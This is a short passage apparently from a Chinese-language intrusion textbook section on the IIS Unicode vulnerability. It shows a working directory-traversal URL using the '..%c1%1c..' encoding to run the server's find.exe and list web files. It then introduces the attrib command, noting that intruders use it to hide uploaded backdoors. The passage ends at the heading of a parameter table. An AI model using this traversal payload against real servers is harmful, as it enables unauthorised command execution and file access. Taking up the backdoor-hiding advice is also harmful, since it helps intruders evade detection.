6.9 UNICODE漏洞入侵(2)

    

6. 显示某一路径下相同文件类型的文件

如果要显示d盘Inetpub\scripts\wwwroot下的相同文件类型，可在浏览器的地址栏中输入如下内容：

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/find.exe?/n+/v+""+d:\inetpub\wwwroot\*.ht*

如图6-71所示。

图6-71  显示d盘Inetpub\scripts\wwwroot下的相同文件类型

7. attrib命令

显示或更改文件属性的命令。该命令显示、设置或删除指派给文件或目录的只读、存档、系统以及隐藏属性。入侵者有时会上传一些后门程序，并用该命令将其隐藏起来。具体参数如表6-1所示。

   表6-1  attrib参数